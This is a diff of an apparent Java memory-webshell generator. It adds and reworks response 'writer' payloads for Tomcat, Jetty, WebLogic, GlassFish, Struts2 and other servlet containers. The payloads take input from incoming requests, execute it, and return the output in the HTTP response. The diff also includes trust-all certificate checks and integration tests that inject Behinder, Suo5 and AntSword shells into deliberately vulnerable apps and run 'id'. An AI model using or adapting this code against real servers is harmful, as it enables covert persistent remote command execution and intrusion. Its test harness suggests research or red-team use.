} else if (k.equals("Host")) {
conn.setRequestProperty(k, u.getHost());
continue;
} else if (k.equals("Connection")) {
conn.setRequestProperty(k, "close");
continue;
} else if (k.equals("Content-Encoding") || k.equals("Transfer-Encoding")) {
continue;
} else {
conn.setRequestProperty(k, request.getHeader(k));
}
}
OutputStream rout = conn.getOutputStream();
rout.write(newBody);
rout.flush();
rout.close();
conn.getResponseCode();
return conn;
}
public boolean verify(String hostname, SSLSession session) {
return true;
}
public void checkClientTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public void checkServerTrusted(X509Certificate[] chain, String authType) throws CertificateException {
}
public X509Certificate[] getAcceptedIssuers() {
return new X509Certificate[0];
}
}
@@ -29,7 +29,7 @@ public class ResponseBodyConfig extends ProbeContentConfig {
private String base64Bytes;
/**
* 命令执行模板例如 sh -c "{command}" 2>&1使用 {command} 作为占位符
* 命令执行模板使用 {command} 作为占位符
*/
private String commandTemplate;
@@ -102,6 +102,8 @@ public class ResponseBodyGenerator extends ByteBuddyShellGenerator<ResponseBodyC
return WebLogicWriter.class;
case Server.Apusic:
return ApusicWriter.class;
case Server.Struct2:
return Struct2Writer.class;
default:
throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer());
}
@@ -9,7 +9,6 @@ import java.util.Set;
/**
* HTTP 服务类型识别主要识别 Servlet 容器实现例如 WildFly 识别为 UndertowPayara 识别为 GlassFish
* 很多国产中间件都是基于 GlassFish 改的都会识别为 GlassFish
* <br/>
* 额外需要注意
* 1. 不会识别 SpringWebMVC Struct2 这种框架只识别其提供 HTTP 服务的 Servlet 容器类型
* 2. 识别的顺序很重要部分类型的识别单独拿出来是不准确的没有测试的情况下不要以下的 if 判断顺序
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
@@ -32,15 +35,25 @@ public class ApusicWriter {
Object response = getFieldValue(servletInvocation, "response");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
}
@@ -96,4 +109,19 @@ public class ApusicWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -22,10 +25,8 @@ public class GlassFishWriter {
// GlassFish3
Thread thread = Thread.currentThread();
Object request = invokeMethod(getFieldValue(getFieldValue(thread, "processorTask"), "request"), "getNote", new Class[]{Integer.TYPE}, new Object[]{1});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
if (tryWriteRes(request)) {
return;
}
} catch (Exception x) {
// GlassFish4+
@@ -48,10 +49,7 @@ public class GlassFishWriter {
}
Object notesHolder = getFieldValue(getFieldValue(coyoteRequest, "request"), "notesHolder");
Object request = invokeMethod(notesHolder, "getAttribute", new Class[]{String.class}, new Object[]{"org.apache.catalina.connector.Request"});
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
execute(response, data);
if (tryWriteRes(request)) {
return;
}
}
@@ -64,15 +62,32 @@ public class GlassFishWriter {
}
}
private void execute(Object response, String data) throws Exception {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
private boolean tryWriteRes(Object request) throws Exception {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
return true;
}
writer.flush();
writer.close();
return false;
}
private String getDataFromReq(Object request) throws Exception {
@@ -119,4 +134,19 @@ public class GlassFishWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -2,8 +2,10 @@ package com.reajason.javaweb.probe.payload.response;
import org.eclipse.jetty.util.Callback;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.io.StringWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -49,23 +51,30 @@ public class JettyWriter {
}
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
StringWriter sw = new StringWriter();
PrintWriter writer = new PrintWriter(sw);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace();
e.printStackTrace(writer);
result = getErrorMessage(e);
}
String result = sw.toString();
System.out.println("result: " + result);
try {
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
resWriter.write(result);
} catch (Exception e) {
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(result);
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
try {
PrintWriter resWriter = (PrintWriter) invokeMethod(response, "getWriter", null, null);
resWriter.write(result);
resWriter.flush();
resWriter.close();
} catch (Exception x) {
invokeMethod(response, "setStatus", new Class[]{int.class}, new Object[]{200});
ByteBuffer content = UTF_8.encode(result);
invokeMethod(response, "write", new Class[]{boolean.class, ByteBuffer.class, Callback.class}, new Object[]{true, content, null});
}
}
}
return;
}
@@ -122,4 +131,19 @@ public class JettyWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -22,17 +25,30 @@ public class ResinWriter {
Object request = invokeMethod(invocationClazz, "getContextRequest", null, null);
Object response = getFieldValue(request, "_response");
String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
// invokeMethod(response, "close", null, null);
}
writer.flush();
writer.close();
// com.caucho.server.connection.AbstractHttpResponse.close
// 不关闭 response 的话会遇到重复写响应体的情况
invokeMethod(response, "close", null, null);
} catch (Throwable e) {
e.printStackTrace();
} finally {
@@ -84,4 +100,19 @@ public class ResinWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -23,17 +26,26 @@ public class SpringWebMvcWriter {
Object response = invokeMethod(requestAttributes, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
@@ -85,4 +97,19 @@ public class SpringWebMvcWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,115 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
/**
* @author ReaJason
* @since 2025/12/8
*/
public class Struct2Writer {
private static boolean ok = false;
public Struct2Writer() {
if (ok) {
return;
}
try {
Class<?> clazz = Thread.currentThread().getContextClassLoader().loadClass("com.opensymphony.xwork2.ActionContext");
Object context = clazz.getMethod("getContext").invoke(null);
Method getMethod = clazz.getMethod("get", String.class);
Object request = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletRequest");
Object response = getMethod.invoke(context, "com.opensymphony.xwork2.dispatcher.HttpServletResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
}
} catch (Throwable e) {
e.printStackTrace();
} finally {
ok = true;
}
}
private String getDataFromReq(Object request) throws Exception {
return null;
}
private String run(String data) throws Exception {
return null;
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(obj.getClass() + " Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -71,14 +74,25 @@ public class TomcatWriter {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
}
@@ -134,4 +148,19 @@ public class TomcatWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -70,14 +73,25 @@ public class TongWebWriter {
Object response = invokeMethod(request, "getResponse", null, null);
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return true;
}
return false;
@@ -127,4 +141,19 @@ public class TongWebWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
@@ -31,14 +34,27 @@ public class UndertowWriter {
Object request = getFieldValue(value, "servletRequest");
Object response = getFieldValue(value, "servletResponse");
String data = getDataFromReq(request);
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
try {
writer.write(run(data));
} catch (Throwable e) {
e.printStackTrace(writer);
if (data != null && !data.isEmpty()) {
String result = "";
try {
result = run(data);
} catch (Throwable e) {
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
}
writer.flush();
writer.close();
return;
}
}
@@ -93,4 +109,19 @@ public class UndertowWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -38,16 +41,27 @@ public class WebLogicWriter {
}
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
// 防止重复写响应提前触发 send 操作
invokeMethod(response, "send", null, null);
// invokeMethod(response, "send", null, null);
}
} catch (Throwable e) {
e.printStackTrace();
@@ -101,4 +115,19 @@ public class WebLogicWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -1,5 +1,8 @@
package com.reajason.javaweb.probe.payload.response;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
@@ -32,17 +35,27 @@ public class WebSphereWriter {
Object response = getFieldValue(wsThreadLocal, "currentThreadsIExtendedResponse");
String data = getDataFromReq(request);
if (data != null && !data.isEmpty()) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
String result = "";
try {
writer.write(run(data));
result = run(data);
} catch (Throwable e) {
e.printStackTrace(writer);
result = getErrorMessage(e);
}
if (result != null) {
try {
OutputStream outputStream = (OutputStream) invokeMethod(response, "getOutputStream", null, null);
outputStream.write(result.getBytes());
outputStream.flush();
outputStream.close();
} catch (Throwable e) {
PrintWriter writer = (PrintWriter) invokeMethod(response, "getWriter", null, null);
writer.write(result);
writer.flush();
writer.close();
}
}
writer.flush();
writer.close();
return;
}
break;
}
}
} catch (Throwable e) {
@@ -96,4 +109,19 @@ public class WebSphereWriter {
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
+5 -4
View File
@@ -10,12 +10,12 @@ reactor-netty = "1.1.25"
jackson = "2.19.0"
jetbrains-annotations = "26.0.2"
byte-buddy = "1.18.1"
byte-buddy = "1.18.2"
commons-io = "2.21.0"
commons-lang3 = "3.19.0"
commons-lang3 = "3.20.0"
commons-codec = "1.20.0"
logback = "1.5.21"
okhttp3 = "5.3.0"
logback = "1.5.22"
okhttp3 = "5.3.2"
fastjson2 = "2.0.60"
java-websocket = "1.6.0"
@@ -45,6 +45,7 @@ java-websocket = { module = "org.java-websocket:Java-WebSocket", version.ref = "
okhttp3 = { module = "com.squareup.okhttp3:okhttp", version.ref = "okhttp3" }
fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "fastjson2" }
jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "jackson" }
jackson-annotations = { module = "com.fasterxml.jackson.core:jackson-annotations", version.ref = "jackson" }
jetbrains-annotations = { module = "org.jetbrains:annotations", version.ref = "jetbrains-annotations" }
mockito-core = { module = "org.mockito:mockito-core", version.ref = "mockito" }
mockito-junit-jupiter = { module = "org.mockito:mockito-junit-jupiter", version.ref = "mockito" }
@@ -16,6 +16,7 @@ public class ContainerTool {
public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath());
public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath());
public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath());
public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath());
public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "asserts", "neoreg", "Dockerfile").toAbsolutePath();
public static final Path springBoot1Dockerfile = Path.of("..", "vul", "vul-springboot1", "Dockerfile").toAbsolutePath();
@@ -14,7 +14,6 @@ import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.packer.jar.*;
import com.reajason.javaweb.packer.translet.XalanAbstractTransletPacker;
import com.reajason.javaweb.suo5.Suo5Manager;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
@@ -71,6 +70,7 @@ public class ShellAssertion {
|| shellType.endsWith(ShellType.SPRING_WEBMVC_CONTROLLER_HANDLER)
|| shellType.equals(ShellType.SPRING_WEBFLUX_HANDLER_METHOD)
|| shellType.equals(ShellType.SPRING_WEBFLUX_HANDLER_FUNCTION)
|| shellType.equals(ShellType.ACTION)
) {
urlPattern = "/" + shellTool + shellType + packer.name();
shellUrl = url + urlPattern;
@@ -233,7 +233,8 @@ public class ShellAssertion {
behinderIsOk(shellUrl, ((BehinderConfig) generateResult.getShellToolConfig()));
break;
case Suo5:
suo5IsOk(shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
case Suo5v2:
suo5IsOk(shellTool, shellUrl, ((Suo5Config) generateResult.getShellToolConfig()));
break;
case AntSword:
antSwordIsOk(shellUrl, ((AntSwordConfig) generateResult.getShellToolConfig()));
@@ -300,8 +301,8 @@ public class ShellAssertion {
assertTrue(behinderManager.test());
}
public static void suo5IsOk(String entrypoint, Suo5Config shellConfig) {
assertTrue(Suo5Manager.test(entrypoint, shellConfig.getHeaderValue()));
public static void suo5IsOk(String shellTool, String entrypoint, Suo5Config shellConfig) {
assertTrue(Suo5Manager.test(shellTool, entrypoint, shellConfig.getHeaderValue()));
}
public static void antSwordIsOk(String entrypoint, AntSwordConfig shellConfig) {
@@ -342,6 +343,7 @@ public class ShellAssertion {
log.info("generated {} behinder with pass: {}, User-Agent: {}", shellType, behinderPass, uniqueName);
break;
case Suo5:
case Suo5v2:
shellToolConfig = Suo5Config.builder()
.headerName("User-Agent")
.headerValue(uniqueName)
@@ -480,7 +482,8 @@ public class ShellAssertion {
assertThat(res, anyOf(
Matchers.containsString("context: "),
Matchers.containsString("server: "),
Matchers.containsString("channel: ")
Matchers.containsString("channel: "),
Matchers.containsString("namespace: ")
));
ShellAssertion.commandIsOk(shellUrl, shellType, paramName, "id");
@@ -3,10 +3,12 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.apache.commons.lang3.tuple.Triple;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.api.BeforeAll;
import org.junit.jupiter.params.ParameterizedTest;
@@ -49,12 +51,12 @@ public class GlassFish3ContainerTest {
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1))
.withExposedPorts(8080);
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
container.waitingFor(Wait.forHttp("/app"));
}
static Stream<Arguments> casesProvider() {
@@ -67,7 +69,11 @@ public class GlassFish3ContainerTest {
ShellType.CATALINA_AGENT_CONTEXT_VALVE
);
List<Packers> testPackers = List.of(Packers.JSP);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
List<Triple<String, String, Packers>> unSupportedCases = List.of(
Triple.of(ShellType.AGENT_FILTER_CHAIN, ShellTool.Suo5v2, Packers.AgentJar), // request.inputStream is empty
Triple.of(ShellType.CATALINA_AGENT_CONTEXT_VALVE, ShellTool.Suo5v2, Packers.AgentJar) // request.inputStream is empty
);
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, unSupportedCases);
}
@AfterAll
@@ -48,7 +48,7 @@ public class Payara5201ContainerTest {
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
@@ -66,7 +66,7 @@ public class Payara5201ContainerTest {
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1));
container.waitingFor(Wait.forHttp("/app"));
}
@AfterAll
@@ -48,7 +48,7 @@ public class Payara520225ContainerTest {
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
.withNetwork(network)
.withNetworkAliases("app")
.waitingFor(Wait.forHttp("/app"))
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
@@ -66,7 +66,7 @@ public class Payara520225ContainerTest {
@BeforeAll
static void setup() {
container.waitingFor(Wait.forLogMessage(".*JMXService.*", 1));
container.waitingFor(Wait.forHttp("/app"));
}
@AfterAll
@@ -0,0 +1,81 @@
package com.reajason.javaweb.integration.memshell.struct2;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.junit.jupiter.params.provider.ValueSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.images.builder.ImageFromDockerfile;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2024/12/4
*/
@Slf4j
@Testcontainers
public class Struct2ContainerTest {
public static final String imageName = "tomcat:8-jre8";
static Network network = Network.newNetwork();
@Container
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
.withDockerfile(neoGeorgDockerfile))
.withNetwork(network);
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(struct2WarFile, "/usr/local/tomcat/webapps/app.war")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(tomcatPid, "/fetch_pid.sh")
